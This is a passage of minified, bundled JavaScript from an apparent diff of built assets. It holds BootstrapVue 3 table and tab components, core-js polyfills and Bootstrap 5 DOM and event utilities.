w.updateInternalItems(t)}finally{g.value&&(g.value=!1)}}},V=e=>{e._showDetails=!e._showDetails},U=e=>[e.class,e.thClass,e.variant?`table-${e.variant}`:void 0,{\"b-table-sortable-column\":W.value&&e.sortable,\"b-table-sticky-column\":e.stickyColumn}],X=(e,t)=>[e.class,e.tdClass,e.variant?`table-${e.variant}`:void 0,(null==t?void 0:t._cellVariants)&&(null==t?void 0:t._cellVariants[e.key])?`table-${null==t?void 0:t._cellVariants[e.key]}`:void 0,{\"b-table-sticky-column\":e.stickyColumn}],H=e=>[e._rowVariant?`table-${e._rowVariant}`:null,e._rowVariant?`table-${e._rowVariant}`:null,d.value&&I.value.has(e)?`selected table-${r.selectionVariant}`:null],G=()=>{if(!d.value)return;const e=I.value.size>0?Array.from(I.value):[];I.value=new Set([...E.value]),I.value.forEach(t=>{e.includes(t)||n(\"rowSelected\",t)}),L()},Y=()=>{!d.value||(I.value.forEach(e=>{n(\"rowUnselected\",e)}),I.value=new Set([]),L())},z=e=>{if(!d.value)return;const t=E.value[e];!t||I.value.has(t)||(I.value.add(t),n(\"rowSelected\",t),L())},K=e=>{if(!d.value)return;const t=E.value[e];!t||!I.value.has(t)||(I.value.delete(t),n(\"rowUnselected\",t),L())};(0,a.sV)(()=>{x.value&&F()}),(0,a.wB)(()=>r.filter,(e,t)=>{e===t||x.value||e||ps(r.items).then(e=>n(\"filtered\",e))});const q=async(e,t,n)=>{if(t===n)return;const a=e=>r.noProvider&&r.noProvider.includes(e),o=[\"currentPage\",\"perPage\"].includes(e)&&(a(\"paging\")||!0===h.value),i=[\"filter\"].includes(e)&&(a(\"filtering\")||!0===m.value),l=[\"sortBy\",\"sortDesc\"].includes(e)&&(a(\"sorting\")||!0===v.value);o||i||l||await F()};return(0,a.wB)(()=>g.value,()=>g.value!==f.value&&n(\"update:busy\",g.value)),(0,a.wB)(()=>f.value,()=>g.value!==f.value&&(g.value=f.value)),(0,a.wB)(()=>r.filter,(e,t)=>q(\"filter\",e,t)),(0,a.wB)(()=>r.currentPage,(e,t)=>q(\"currentPage\",e,t)),(0,a.wB)(()=>r.perPage,(e,t)=>q(\"perPage\",e,t)),(0,a.wB)(()=>r.sortBy,(e,t)=>q(\"sortBy\",e,t)),(0,a.wB)(()=>r.sortDesc,(e,t)=>q(\"sortDesc\",e,t)),t({selectAllRows:G,clearSelected:Y,selectRow:z,unselectRow:K}),(t,n)=>((0,a.uX)(),(0,a.Wv)(_h,(0,i._B)((0,a.Ng)((0,o.R1)($))),{default:(0,a.k6)(()=>{var n;return[(0,a.Lk)(\"thead\",null,[t.$slots[\"thead-top\"]?(0,a.RG)(t.$slots,\"thead-top\",{key:0}):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"tr\",null,[(0,o.R1)(B)?((0,a.uX)(),(0,a.CE)(\"th\",{key:0,class:(0,i.C4)([\"b-table-selection-column\",{\"b-table-sticky-column\":(0,o.R1)(c)}])},[(0,a.RG)(t.$slots,\"select-head\",{},()=>[(0,a.eW)((0,i.v_)(\"boolean\"==typeof e.selectHead?\"Selected\":e.selectHead),1)])],2)):(0,a.Q3)(\"\",!0),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(_),n=>((0,a.uX)(),(0,a.CE)(\"th\",(0,a.v6)({key:n.key,scope:\"col\",class:U(n),title:n.headerTitle,abbr:n.headerAbbr,style:n.thStyle},n.thAttr,{onClick:e=>R(n,e)}),[(0,a.Lk)(\"div\",Yh,[(0,a.RG)(t.$slots,\"sort-icon\",{field:n,sortBy:e.sortBy,selected:n.key===e.sortBy,isDesc:(0,o.R1)(s),direction:(0,o.R1)(s)?\"desc\":\"asc\"},()=>[(0,o.R1)(W)&&n.sortable&&n.key===e.sortBy?((0,a.uX)(),(0,a.CE)(\"span\",zh)):(0,a.Q3)(\"\",!0)]),(0,a.Lk)(\"div\",null,[t.$slots[\"head(\"+n.key+\")\"]||t.$slots[\"head()\"]?(0,a.RG)(t.$slots,t.$slots[\"head(\"+n.key+\")\"]?\"head(\"+n.key+\")\":\"head()\",{key:0,label:n.label}):((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.eW)((0,i.v_)(T(n)),1)],64))])])],16,Gh))),128))]),t.$slots[\"thead-sub\"]?((0,a.uX)(),(0,a.CE)(\"tr\",Kh,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(_),e=>((0,a.uX)(),(0,a.CE)(\"td\",{key:e.key,scope:\"col\",class:(0,i.C4)([e.class,e.thClass,e.variant?`table-${e.variant}`:\"\"])},[t.$slots[\"thead-sub\"]?(0,a.RG)(t.$slots,\"thead-sub\",(0,a.v6)({key:0,items:(0,o.R1)(_)},e)):((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.eW)((0,i.v_)(e.label),1)],64))],2))),128))])):(0,a.Q3)(\"\",!0)]),(0,a.Lk)(\"tbody\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(E),(n,r)=>((0,a.uX)(),(0,a.CE)(a.FK,{key:r},[(0,a.Lk)(\"tr\",{class:(0,i.C4)(H(n)),onClick:e=>O(n,r,e),onDblclick:e=>M(n,r,e),onMouseenter:e=>A(n,r,e),onMouseleave:e=>D(n,r,e)},[(0,o.R1)(B)?((0,a.uX)(),(0,a.CE)(\"td\",{key:0,class:(0,i.C4)([\"b-table-selection-column\",{\"b-table-sticky-column\":(0,o.R1)(c)}])},[(0,a.RG)(t.$slots,\"select-cell\",{},()=>[(0,a.Lk)(\"span\",{class:(0,i.C4)(I.value.has(n)?\"text-primary\":\"\")},\"🗹\",2)])],2)):(0,a.Q3)(\"\",!0),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(_),o=>((0,a.uX)(),(0,a.CE)(\"td\",(0,a.v6)({key:o.key},o.tdAttr,{class:X(o,n)}),[t.$slots[\"cell(\"+o.key+\")\"]||t.$slots[\"cell()\"]?(0,a.RG)(t.$slots,t.$slots[\"cell(\"+o.key+\")\"]?\"cell(\"+o.key+\")\":\"cell()\",{key:0,value:n[o.key],index:r,item:n,field:o,items:e.items,toggleDetails:()=>V(n),detailsShowing:n._showDetails}):((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.eW)((0,i.v_)(n[o.key]),1)],64))],16))),128))],42,qh),!0===n._showDetails&&t.$slots[\"row-details\"]?((0,a.uX)(),(0,a.CE)(\"tr\",{key:0,class:(0,i.C4)(H(n))},[(0,a.Lk)(\"td\",{colspan:(0,o.R1)(k)},[(0,a.RG)(t.$slots,\"row-details\",{item:n,toggleDetails:()=>V(n)})],8,Qh)],2)):(0,a.Q3)(\"\",!0)],64))),128)),g.value?((0,a.uX)(),(0,a.CE)(\"tr\",{key:0,class:(0,i.C4)([\"b-table-busy-slot\",{\"b-table-static-busy\":0==(0,o.R1)(E).length}])},[(0,a.Lk)(\"td\",{colspan:(0,o.R1)(k)},[(0,a.RG)(t.$slots,\"table-busy\",{},()=>[(0,a.Lk)(\"div\",Jh,[(0,a.bF)(Od,{class:\"align-middle\"}),ev])])],8,Zh)],2)):(0,a.Q3)(\"\",!0),(0,o.R1)(p)&&0===(0,o.R1)(E).length?((0,a.uX)(),(0,a.CE)(\"tr\",tv,[(0,a.Lk)(\"td\",{colspan:(0,o.R1)(k)},[(0,a.RG)(t.$slots,\"empty\",{items:(0,o.R1)(E),filtered:(0,o.R1)(C)},()=>[(0,a.eW)((0,i.v_)((0,o.R1)(C)?e.emptyFilteredText:e.emptyText),1)])],8,nv)])):(0,a.Q3)(\"\",!0)]),(0,o.R1)(l)?((0,a.uX)(),(0,a.CE)(\"tfoot\",rv,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(_),e=>((0,a.uX)(),(0,a.CE)(\"th\",(0,a.v6)({key:e.key},e.thAttr,{scope:\"col\",class:[e.class,e.thClass,e.variant?`table-${e.variant}`:\"\"],title:e.headerTitle,abbr:e.headerAbbr,style:e.thStyle,onClick:t=>R(e,t,!0)}),(0,i.v_)(e.label),17,av))),128))])])):t.$slots[\"custom-foot\"]?((0,a.uX)(),(0,a.CE)(\"tfoot\",ov,[(0,a.RG)(t.$slots,\"custom-foot\",{fields:(0,o.R1)(_),items:e.items,columns:null==(n=(0,o.R1)(_))?void 0:n.length})])):(0,a.Q3)(\"\",!0),t.$slots[\"table-caption\"]?((0,a.uX)(),(0,a.CE)(\"caption\",iv,[(0,a.RG)(t.$slots,\"table-caption\")])):e.caption?((0,a.uX)(),(0,a.CE)(\"caption\",lv,(0,i.v_)(e.caption),1)):(0,a.Q3)(\"\",!0)]}),_:3},16))}}),uv=(0,a.pM)({__name:\"BTbody\",props:{variant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`thead-${t.variant}`]:void 0!==t.variant}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"tbody\",{role:\"rowgroup\",class:(0,i.C4)((0,o.R1)(n))},[(0,a.RG)(e.$slots,\"default\")],2))}}),dv=[\"scope\",\"colspan\",\"rowspan\",\"data-label\"],cv={key:0},fv=(0,a.pM)({__name:\"BTd\",props:{colspan:null,rowspan:null,stackedHeading:null,stickyColumn:{default:!1},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"stickyColumn\")),r=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant,\"b-table-sticky-column\":n.value,\"table-b-table-default\":n.value&&!t.variant})),l=(0,a.EW)(()=>t.colspan?\"colspan\":t.rowspan?\"rowspan\":\"col\");return(t,n)=>((0,a.uX)(),(0,a.CE)(\"td\",{role:\"cell\",scope:(0,o.R1)(l),class:(0,i.C4)((0,o.R1)(r)),colspan:e.colspan,rowspan:e.rowspan,\"data-label\":e.stackedHeading},[e.stackedHeading?((0,a.uX)(),(0,a.CE)(\"div\",cv,[(0,a.RG)(t.$slots,\"default\")])):(0,a.RG)(t.$slots,\"default\",{key:1})],10,dv))}}),pv=(0,a.pM)({__name:\"BTfoot\",props:{variant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"tfoot\",{role:\"rowgroup\",class:(0,i.C4)((0,o.R1)(n))},[(0,a.RG)(e.$slots,\"default\")],2))}}),hv=[\"scope\",\"colspan\",\"rowspan\",\"data-label\"],vv={key:0},mv=(0,a.pM)({__name:\"BTh\",props:{colspan:null,rowspan:null,stackedHeading:null,stickyColumn:{default:!1},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"stickyColumn\")),r=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant,\"b-table-sticky-column\":n.value,\"table-b-table-default\":n.value&&void 0===t.variant})),l=(0,a.EW)(()=>t.colspan?\"colspan\":t.rowspan?\"rowspan\":\"col\");return(t,n)=>((0,a.uX)(),(0,a.CE)(\"th\",{role:\"columnheader\",scope:(0,o.R1)(l),class:(0,i.C4)((0,o.R1)(r)),colspan:e.colspan,rowspan:e.rowspan,\"data-label\":e.stackedHeading},[void 0!==e.stackedHeading?((0,a.uX)(),(0,a.CE)(\"div\",vv,[(0,a.RG)(t.$slots,\"default\")])):(0,a.RG)(t.$slots,\"default\",{key:1})],10,hv))}}),gv=(0,a.pM)({__name:\"BThead\",props:{variant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"thead\",{role:\"rowgroup\",class:(0,i.C4)((0,o.R1)(n))},[(0,a.RG)(e.$slots,\"default\")],2))}}),yv=(0,a.pM)({__name:\"BTr\",props:{variant:null},setup(e){const t=e,n=(0,a.EW)(()=>({[`table-${t.variant}`]:void 0!==t.variant}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"tr\",{role:\"row\",class:(0,i.C4)((0,o.R1)(n))},[(0,a.RG)(e.$slots,\"default\")],2))}}),bv=[\"id\",\"data-bs-target\",\"aria-controls\",\"aria-selected\",\"onClick\"],$v=Symbol(),wv=(0,a.pM)({__name:\"BTabs\",props:{activeNavItemClass:null,activeTabClass:null,align:null,card:{default:!1},contentClass:null,end:{default:!1},fill:{default:!1},id:null,justified:{default:!1},lazy:{default:!1},navClass:null,navWrapperClass:null,noFade:{default:!1},noNavStyle:{default:!1},pills:{default:!1},small:{default:!1},tag:{default:\"div\"},vertical:{default:!1},modelValue:{default:-1}},emits:[\"update:modelValue\",\"activate-tab\",\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"card\")),s=cu((0,o.lW)(n,\"end\")),u=cu((0,o.lW)(n,\"fill\")),d=cu((0,o.lW)(n,\"justified\")),c=cu((0,o.lW)(n,\"lazy\")),f=cu((0,o.lW)(n,\"noFade\")),p=cu((0,o.lW)(n,\"noNavStyle\")),h=cu((0,o.lW)(n,\"pills\")),v=cu((0,o.lW)(n,\"small\")),m=cu((0,o.lW)(n,\"vertical\")),g=(0,a.Ht)(),y=(0,o.KR)(n.modelValue),b=(0,o.KR)(\"\"),$=(0,a.EW)({get:()=>y.value,set:e=>{y.value=e,w.value.length>0&&e>=0&&e\u003Cw.value.length?b.value=w.value[e].buttonId:b.value=\"\",t(\"update:modelValue\",e)}}),w=(0,a.EW)(()=>{let e=[];return g.default&&(e=E(g).map((e,t)=>{e.props||(e.props={});const r=e.props[\"button-id\"]||Js(\"tab\"),a=e.props.id||Js(),o=$.value>-1?t===$.value:\"\"===e.props.active,i=e.props[\"title-item-class\"],l=e.props[\"title-link-attributes\"];return{buttonId:r,contentId:a,active:o,disabled:\"\"===e.props.disabled||!0===e.props.disabled,navItemClasses:[{active:o,disabled:\"\"===e.props.disabled||!0===e.props.disabled},o&&n.activeNavItemClass?n.activeNavItemClass:null,e.props[\"title-link-class\"]],tabClasses:[{fade:!f.value},o&&n.activeTabClass?n.activeTabClass:null],target:`#${a}`,title:e.props.title,titleItemClass:i,titleLinkAttributes:l,onClick:e.props.onClick,tab:e}})),e}),_=(0,a.EW)(()=>!((null==w?void 0:w.value)&&w.value.length>0)),k=(0,a.EW)(()=>({\"d-flex\":m.value,\"align-items-start\":m.value})),C=(0,a.EW)(()=>({\"nav-pills\":h.value,\"flex-column me-3\":m.value,[`justify-content-${n.align}`]:void 0!==n.align,\"nav-fill\":u.value,\"card-header-tabs\":r.value,\"nav-justified\":d.value,\"nav-tabs\":!p.value&&!h.value,small:v.value})),x=e=>{let r=!1;if(void 0!==e&&e>-1&&e\u003Cw.value.length&&!w.value[e].disabled&&($.value\u003C0||w.value[e].buttonId!==b.value)){const n=new hs(\"activate-tab\",{cancelable:!0,vueTarget:this});t(\"activate-tab\",e,$.value,n),n.defaultPrevented||($.value=e,r=!0)}return!r&&n.modelValue!==$.value&&t(\"update:modelValue\",$.value),r},S=(e,t)=>{var n;x(t),t>=0&&!w.value[t].disabled&&(null==(n=w.value[t])?void 0:n.onClick)&&\"function\"==typeof w.value[t].onClick&&w.value[t].onClick(e)},E=e=>e&&e.default?e.default().reduce((e,t)=>(\"symbol\"==typeof t.type?e=e.concat(t.children):e.push(t),e),[]).filter(e=>{var t;return\"BTab\"===(null==(t=e.type)?void 0:t.__name)}):[];return x(y.value),(0,a.wB)(()=>n.modelValue,(e,t)=>{if(e===t)return;if(e=Math.max(e,-1),t=Math.max(t,-1),w.value.length\u003C=0)return void($.value=-1);const n=e>t;let r=e;const a=w.value.length-1;for(;r>=0&&r\u003C=a&&w.value[r].disabled;)r+=n?1:-1;r\u003C0?x(0):r>=w.value.length?x(w.value.length-1):x(r)}),(0,a.wB)(()=>w.value,()=>{let e=w.value.map(e=>e.active&&!e.disabled).lastIndexOf(!0);e\u003C0&&($.value>=w.value.length?e=w.value.map(e=>!e.disabled).lastIndexOf(!0):w.value[$.value]&&!w.value[$.value].disabled&&(e=$.value)),e\u003C0&&(e=w.value.map(e=>!e.disabled).indexOf(!0)),w.value.forEach((t,n)=>t.active=n===e),x(e)}),(0,a.sV)(()=>{if($.value\u003C0&&w.value.length>0&&!w.value.some(e=>e.active)){const e=w.value.map(e=>!e.disabled).indexOf(!0);x(e>=0?e:-1)}}),(0,a.Gt)($v,{lazy:c.value,card:r.value}),(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:e.id,class:(0,i.C4)([\"tabs\",(0,o.R1)(k)])},{default:(0,a.k6)(()=>[(0,o.R1)(s)?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,class:(0,i.C4)([\"tab-content\",e.contentClass])},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(w),({tab:e,contentId:t,tabClasses:n,active:r},o)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e),{id:t,key:o,class:(0,i.C4)(n),active:r},null,8,[\"id\",\"class\",\"active\"]))),128)),(0,o.R1)(_)?((0,a.uX)(),(0,a.CE)(\"div\",{key:\"bv-empty-tab\",class:(0,i.C4)([\"tab-pane active\",{\"card-body\":(0,o.R1)(r)}])},[(0,a.RG)(t.$slots,\"empty\")],2)):(0,a.Q3)(\"\",!0)],2)):(0,a.Q3)(\"\",!0),(0,a.Lk)(\"div\",{class:(0,i.C4)([e.navWrapperClass,{\"card-header\":(0,o.R1)(r),\"ms-auto\":e.vertical&&(0,o.R1)(s)}])},[(0,a.Lk)(\"ul\",{class:(0,i.C4)([\"nav\",[(0,o.R1)(C),e.navClass]]),role:\"tablist\"},[(0,a.RG)(t.$slots,\"tabs-start\"),((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(w),({tab:e,buttonId:t,contentId:n,navItemClasses:r,active:o,target:s},u)=>((0,a.uX)(),(0,a.CE)(\"li\",{key:u,class:(0,i.C4)([\"nav-item\",e.props[\"title-item-class\"]])},[(0,a.Lk)(\"button\",(0,a.v6)({id:t,class:[\"nav-link\",r],\"data-bs-toggle\":\"tab\",\"data-bs-target\":s,role:\"tab\",\"aria-controls\":n,\"aria-selected\":o},e.props[\"title-link-attributes\"],{onClick:(0,l.D$)(e=>S(e,u),[\"stop\",\"prevent\"])}),[e.children&&e.children.title?((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.children.title),{key:0})):((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.eW)((0,i.v_)(e.props.title),1)],64))],16,bv)],2))),128)),(0,a.RG)(t.$slots,\"tabs-end\")],2)],2),(0,o.R1)(s)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"div\",{key:1,class:(0,i.C4)([\"tab-content\",e.contentClass])},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(w),({tab:e,contentId:t,tabClasses:n,active:r},o)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e),{id:t,key:o,class:(0,i.C4)(n),active:r},null,8,[\"id\",\"class\",\"active\"]))),128)),(0,o.R1)(_)?((0,a.uX)(),(0,a.CE)(\"div\",{key:\"bv-empty-tab\",class:(0,i.C4)([\"tab-pane active\",{\"card-body\":(0,o.R1)(r)}])},[(0,a.RG)(t.$slots,\"empty\")],2)):(0,a.Q3)(\"\",!0)],2))]),_:3},8,[\"id\",\"class\"]))}}),_v=(0,a.pM)({__name:\"BTab\",props:{id:null,title:null,active:{default:!1},buttonId:{default:void 0},disabled:{default:!1},lazy:{default:void 0},lazyOnce:{default:void 0},noBody:{type:[Boolean,String],default:!1},tag:{default:\"div\"},titleItemClass:{default:void 0},titleLinkAttributes:{default:void 0},titleLinkClass:{default:void 0}},setup(e){const t=e,n=(0,o.KR)(!1),r=cu((0,o.lW)(t,\"active\")),l=cu((0,o.lW)(t,\"disabled\")),s=cu((0,o.lW)(t,void 0!==t.lazyOnce?\"lazyOnce\":\"lazy\")),u=(0,a.WQ)($v,null),d=(0,a.EW)(()=>(null==u?void 0:u.lazy)||s.value),c=(0,a.EW)(()=>void 0!==t.lazyOnce),f=(0,a.EW)(()=>r.value&&!l.value),p=(0,a.EW)(()=>{const e=d.value&&c.value&&n.value;return f.value||!d.value||e}),h=(0,a.EW)(()=>({active:r.value,show:r.value,\"card-body\":(null==u?void 0:u.card)&&!1===t.noBody}));return(0,a.wB)(()=>p.value,e=>{e&&!n.value&&(n.value=!0)}),(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:e.id,class:(0,i.C4)([\"tab-pane\",(0,o.R1)(h)]),role:\"tabpanel\",\"aria-labelledby\":\"profile-tab\"},{default:(0,a.k6)(()=>[(0,o.R1)(p)?(0,a.RG)(t.$slots,\"default\",{key:0}):(0,a.Q3)(\"\",!0)]),_:3},8,[\"id\",\"class\"]))}}),kv={BAccordion:Du,BAccordionItem:nd,BNavText:Up,BAlert:od,BAvatar:fd,BAvatarGroup:ld,BNavForm:Wp,BBadge:wd,BBreadcrumb:Td,BBreadcrumbItem:xd,BButton:Dd,BButtonGroup:Bd,BButtonToolbar:Pd,BCard:Gd,BCardBody:Xd,BCardFooter:Hd,BCardGroup:Yd,BCardHeader:Fd,BCardImg:Nd,BCardSubtitle:Ud,BCardText:zd,BCardTitle:Vd,BCarousel:ic,BCarouselSlide:fc,BCloseButton:ad,BCol:yc,BCollapse:Bu,BContainer:Dc,BDropdown:Pc,BDropdownDivider:Nc,BDropdownForm:Uc,BDropdownGroup:Yc,BDropdownHeader:Qc,BDropdownItem:Jc,BDropdownItemButton:tf,BDropdownText:af,BForm:lf,BFormCheckbox:yf,BFormCheckboxGroup:_f,BFormFloatingLabel:df,BFormGroup:Mf,BFormInput:Pf,BFormInvalidFeedback:cf,BFormRadio:Lf,BFormRadioGroup:Uf,BFormRow:ff,BFormSelect:Kf,BFormSelectOption:Hf,BFormSelectOptionGroup:Yf,BFormText:pf,BFormTextarea:vp,BFormTag:Qf,BFormTags:cp,BFormValidFeedback:hf,BImg:Id,BInputGroup:_p,BInputGroupAddon:Cp,BInputGroupAppend:xp,BInputGroupPrepend:Sp,BInputGroupText:kp,BLink:gd,BListGroup:Tp,BListGroupItem:Rp,BModal:Dp,BNav:Bp,BNavbar:Xp,BNavbarBrand:zp,BNavbarNav:Kp,BNavbarToggle:Qp,BNavItem:Lp,BNavItemDropdown:Fp,BOffcanvas:rh,BOverlay:ah,BPagination:yh,BPlaceholder:bh,BPlaceholderButton:$h,BPlaceholderCard:wh,BPlaceholderTable:kh,BPlaceholderWrapper:Ch,BPopover:Oh,BProgress:Bh,BProgressBar:Ah,BRow:Nh,BSkeleton:Lh,BSkeletonIcon:jh,BSkeletonTable:Uh,BSkeletonWrapper:Xh,BSpinner:Od,BTab:_v,BTable:sv,BTableSimple:_h,BTbody:uv,BTd:fv,BTfoot:pv,BTh:mv,BThead:gv,BTr:yv,BToast:_c,BToaster:kc,BToastContainer:kc,BTabs:wv,BTransition:bc,BToastPlugin:Ac},Cv={install(e,t={}){Object.entries(kv).forEach(([t,n])=>{e.component(t,n)}),Object.entries(Qu).forEach(([t,n])=>{e.directive(t,n)}),hu(e)}}},9617:function(e,t,n){\"use strict\";var r=n(5397),a=n(5610),o=n(6198),i=function(e){return function(t,n,i){var l,s=r(t),u=o(s),d=a(i,u);if(e&&n!==n){while(u>d)if(l=s[d++],l!==l)return!0}else for(;u>d;d++)if((e||d in s)&&s[d]===n)return e||d||0;return!e&&-1}};e.exports={includes:i(!0),indexOf:i(!1)}},9631:function(e,t,n){\"use strict\";var r=n(6518),a=n(4475),o=n(9504),i=n(1591),l=n(4154),s=n(2804),u=n(944),d=s.i2c,c=s.i2cUrl,f=a.Uint8Array,p=o(\"\".charAt);f&&r({target:\"Uint8Array\",proto:!0,forced:!0},{toBase64:function(){for(var e,t=l(this),n=arguments.length?i(arguments[0]):void 0,r=\"base64\"===u(n)?d:c,a=\"\",o=0,s=t.length,f=function(t){return p(r,e>>6*t&63)};o+2\u003Cs;o+=3)e=(t[o]\u003C\u003C16)+(t[o+1]\u003C\u003C8)+t[o+2],a+=f(3)+f(2)+f(1)+f(0);return o+2===s?(e=(t[o]\u003C\u003C16)+(t[o+1]\u003C\u003C8),a+=f(3)+f(2)+f(1)+\"=\"):o+1===s&&(e=t[o]\u003C\u003C16,a+=f(3)+f(2)+\"==\"),a}})},9714:function(e,t,n){\"use strict\";var r=n(9088);e.exports=function(e){try{if(r)return Function('return require(\"'+e+'\")')()}catch(t){}}},9848:function(e,t,n){\"use strict\";n(6368),n(9309)},9928:function(e,t,n){\"use strict\";var r=n(6198),a=n(1291),o=RangeError;e.exports=function(e,t,n,i){var l=r(e),s=a(n),u=s\u003C0?l+s:s;if(u>=l||u\u003C0)throw new o(\"Incorrect index\");for(var d=new t(l),c=0;c\u003Cl;c++)d[c]=c===u?i:e[c];return d}}}]);\n\\ No newline at end of file\n+const gt=new Map,yt={set(e,t,n){gt.has(e)||gt.set(e,new Map);const r=gt.get(e);r.has(t)||0===r.size?r.set(t,n):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(r.keys())[0]}.`)},get(e,t){return gt.has(e)&&gt.get(e).get(t)||null},remove(e,t){if(!gt.has(e))return;const n=gt.get(e);n.delete(t),0===n.size&&gt.delete(e)}},bt=1e6,$t=1e3,wt=\"transitionend\",_t=e=>(e&&window.CSS&&window.CSS.escape&&(e=e.replace(\u002F#([^\\s\"#']+)\u002Fg,(e,t)=>`#${CSS.escape(t)}`)),e),kt=e=>null===e||void 0===e?`${e}`:Object.prototype.toString.call(e).match(\u002F\\s([a-z]+)\u002Fi)[1].toLowerCase(),Ct=e=>{do{e+=Math.floor(Math.random()*bt)}while(document.getElementById(e));return e},xt=e=>{if(!e)return 0;let{transitionDuration:t,transitionDelay:n}=window.getComputedStyle(e);const r=Number.parseFloat(t),a=Number.parseFloat(n);return r||a?(t=t.split(\",\")[0],n=n.split(\",\")[0],(Number.parseFloat(t)+Number.parseFloat(n))*$t):0},St=e=>{e.dispatchEvent(new Event(wt))},Et=e=>!(!e||\"object\"!==typeof e)&&(\"undefined\"!==typeof e.jquery&&(e=e[0]),\"undefined\"!==typeof e.nodeType),Tt=e=>Et(e)?e.jquery?e[0]:e:\"string\"===typeof e&&e.length>0?document.querySelector(_t(e)):null,Rt=e=>{if(!Et(e)||0===e.getClientRects().length)return!1;const t=\"visible\"===getComputedStyle(e).getPropertyValue(\"visibility\"),n=e.closest(\"details:not([open])\");if(!n)return t;if(n!==e){const t=e.closest(\"summary\");if(t&&t.parentNode!==n)return!1;if(null===t)return!1}return t},Ot=e=>!e||e.nodeType!==Node.ELEMENT_NODE||(!!e.classList.contains(\"disabled\")||(\"undefined\"!==typeof e.disabled?e.disabled:e.hasAttribute(\"disabled\")&&\"false\"!==e.getAttribute(\"disabled\"))),Mt=e=>{if(!document.documentElement.attachShadow)return null;if(\"function\"===typeof e.getRootNode){const t=e.getRootNode();return t instanceof ShadowRoot?t:null}return e instanceof ShadowRoot?e:e.parentNode?Mt(e.parentNode):null},At=()=>{},Dt=e=>{e.offsetHeight},Wt=()=>window.jQuery&&!document.body.hasAttribute(\"data-bs-no-jquery\")?window.jQuery:null,Bt=[],Pt=e=>{\"loading\"===document.readyState?(Bt.length||document.addEventListener(\"DOMContentLoaded\",()=>{for(const e of Bt)e()}),Bt.push(e)):e()},It=()=>\"rtl\"===document.documentElement.dir,Nt=e=>{Pt(()=>{const t=Wt();if(t){const n=e.NAME,r=t.fn[n];t.fn[n]=e.jQueryInterface,t.fn[n].Constructor=e,t.fn[n].noConflict=()=>(t.fn[n]=r,e.jQueryInterface)}})},Lt=(e,t=[],n=e)=>\"function\"===typeof e?e.call(...t):n,jt=(e,t,n=!0)=>{if(!n)return void Lt(e);const r=5,a=xt(t)+r;let o=!1;const i=({target:n})=>{n===t&&(o=!0,t.removeEventListener(wt,i),Lt(e))};t.addEventListener(wt,i),setTimeout(()=>{o||St(t)},a)},Ft=(e,t,n,r)=>{const a=e.length;let o=e.indexOf(t);return-1===o?!n&&r?e[a-1]:e[0]:(o+=n?1:-1,r&&(o=(o+a)%a),e[Math.max(0,Math.min(o,a-1))])},Vt=\u002F[^.]*(?=\\..*)\\.|.*\u002F,Ut=\u002F\\..*\u002F,Xt=\u002F::\\d+$\u002F,Ht={};let Gt=1;const Yt={mouseenter:\"mouseover\",mouseleave:\"mouseout\"},zt=new Set([\"click\",\"dblclick\",\"mouseup\",\"mousedown\",\"contextmenu\",\"mousewheel\",\"DOMMouseScroll\",\"mouseover\",\"mouseout\",\"mousemove\",\"selectstart\",\"selectend\",\"keydown\",\"keypress\",\"keyup\",\"orientationchange\",\"touchstart\",\"touchmove\",\"touchend\",\"touchcancel\",\"pointerdown\",\"pointermove\",\"pointerup\",\"pointerleave\",\"pointercancel\",\"gesturestart\",\"gesturechange\",\"gestureend\",\"focus\",\"blur\",\"change\",\"reset\",\"select\",\"submit\",\"focusin\",\"focusout\",\"load\",\"unload\",\"beforeunload\",\"resize\",\"move\",\"DOMContentLoaded\",\"readystatechange\",\"error\",\"abort\",\"scroll\"]);function Kt(e,t){return t&&`${t}::${Gt++}`||e.uidEvent||Gt++}function qt(e){const t=Kt(e);return e.uidEvent=t,Ht[t]=Ht[t]||{},Ht[t]}function Qt(e,t){return function n(r){return ln(r,{delegateTarget:e}),n.oneOff&&on.off(e,r.type,t),t.apply(e,[r])}}function Zt(e,t,n){return function r(a){const o=e.querySelectorAll(t);for(let{target:i}=a;i&&i!==this;i=i.parentNode)for(const l of o)if(l===i)return ln(a,{delegateTarget:i}),r.oneOff&&on.off(e,a.type,t,n),n.apply(i,[a])}}function Jt(e,t,n=null){return Object.values(e).find(e=>e.callable===t&&e.delegationSelector===n)}function 